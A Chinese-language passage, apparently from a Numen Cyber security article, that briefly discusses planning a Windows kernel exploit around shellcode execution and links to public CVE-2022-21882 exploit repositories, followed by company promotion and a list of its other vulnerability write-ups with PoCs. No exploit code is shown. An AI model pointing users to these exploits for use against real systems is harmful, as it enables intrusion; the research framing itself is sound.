在确定使用哪种利用思路之前，我们通常希望做一些理论上的前期判断，以避免一些不能绕过关键问题的方案会浪费大量尝试时间。这也是在分析其他漏洞 poc 或者 exp 的一个常规过程。

本次漏洞 exp 构造前，我们主要有以下两种考量方向：

执行 shellcode 代码：

参考

1.https://github.com/0x5bfa/NT5.1/blob/1b390dddff9fe017e9c11a7845c67a887c3483dc/Source/XPSP1/NT/windows/core/ntuser/kernel/mnsys.c#L511

2.https://github.com/L4ys/CVE-2022-21882/blob/main/CVE-2022-21882.cpp

3.https://github.com/KaLendsi/CVE-2022-21882/blob/main/ExploitTest.cpp

4.https://www.zerodayinitiative.com/blog/2023/5/8/the-may-2023-security-update-review

5.https://www.real-sec.com/2022/01/technical-analysis-of-cve-2021-1732/

END

关于 Numen Cyber

Numen Cyber 是链上威胁检测与防御的先驱，团队成员拥有在亚马逊、华为、百度、奇虎360等众多知名大厂与 OKlink，知道创宇，成都链安等知名 Web3 主体安全岗位从业经历。

拥有 Web2+Web3 多重安全技能储备的 Numen Cyber 旗下拥有 ImmunX 和 Leukocyte 两款安全产品，分别可在应用层和物理层为 Web3 项目提供保护。其中 ImmunX 包含安全策略开放市场和合约防火墙等独创功能，可以为 Web3 生态提供一站式全方位的保护；Leukocyte 则是保护服务器安全，实时检测黑客针对服务器的各种攻击并自动阻断、报警。

目前 Numen Cyber 的合作伙伴包括不限于 Binance，Cobo，Suiet 等，也包括中国移动、中国电信、中国联通，以及阿里云、腾讯、华为、亚马逊、微软等。

Numen 官网

https://numencyber.com/ 

GitHub

https://github.com/NumenCyber

Twitter

https://twitter.com/@numencyber

Medium

https://medium.com/@numencyberlabs

LinkedIn

https://www.linkedin.com/company/numencyber/

阅读原文

跳转微信打开

Web2 漏洞不仅可以对个人资产造成影响，也会对交易所、资产托管企业、“矿”业等造成严重威胁。

不可忽视的是，Web3 是建立在 Web2 的基础设施之上的。Web2 底座如果产生安全漏洞，那么对于 Web3 生态来说就是大厦将倾，会对用户资产安全会造成极大的威胁。

比如浏览器漏洞、移动端漏洞（iOS/Android），可以在用户无感知的情况下窃取用户资产。

黑客如何通过 Chrome 0day 窃取你的个人数字资产（图标仅为示意）

从上述案例可以看出 Web2 漏洞对数字资产的危害是真实存在的，危害以及影响也是非常大的。

从前文可知，当前 Web2 对 Web3 有着极大的影响力，没有 Web2 底层的安全，就没有 Web3 领域的安全。

而 Numen 团队恰好由来自全球的顶级安全专家组成，具备 Web2+Web3 全方位全生态覆盖的技术能力。Numen 团队已经发现过微软、谷歌、苹果产品的 Web2 高危漏洞，以及如 Aptos，Sui，EoS，Ripple，Tron 等知名 Web3 生态的安全漏洞。

此外，Numen 认为，Web3 领域的安全措施仅通过单一代码审计等方式并不充足，Web3 领域需要更多的安全设施，如实时检测与响应恶意交易等。

安全技术是一件严肃其直接关乎用户资产的事情，安全研究能力也是一家安全公司的水平体现，这也是为什么 Numen 从刚开始成立就去做 Web2 漏洞研究的目的，因为“未知攻，焉知防”。

https://www.leiphone.com/category/gbsecurity/CT5us5IC3Fpdu4SX.html

以下是 Numen 发现的一些安全漏洞的技术细节（点击文章名即可跳转）：

1.《HTTP提权漏洞CVE-2023-23410分析及PoC》

2.《DHCP服务远程代码执行漏洞CVE-2023-28231分析及PoC》

3.《独家揭秘通过泄露Sentinel Value绕过Chrome v8 HardenProtect》

4.《Javaweb框架ZK CVE-2022-36537漏洞分析附exp》

5.《From Leak TheHole to Chrome Render RCE》

6.《0day漏洞: Chromium v8引擎最新UAF代码执行漏洞分析》

阅读原文

跳转微信打开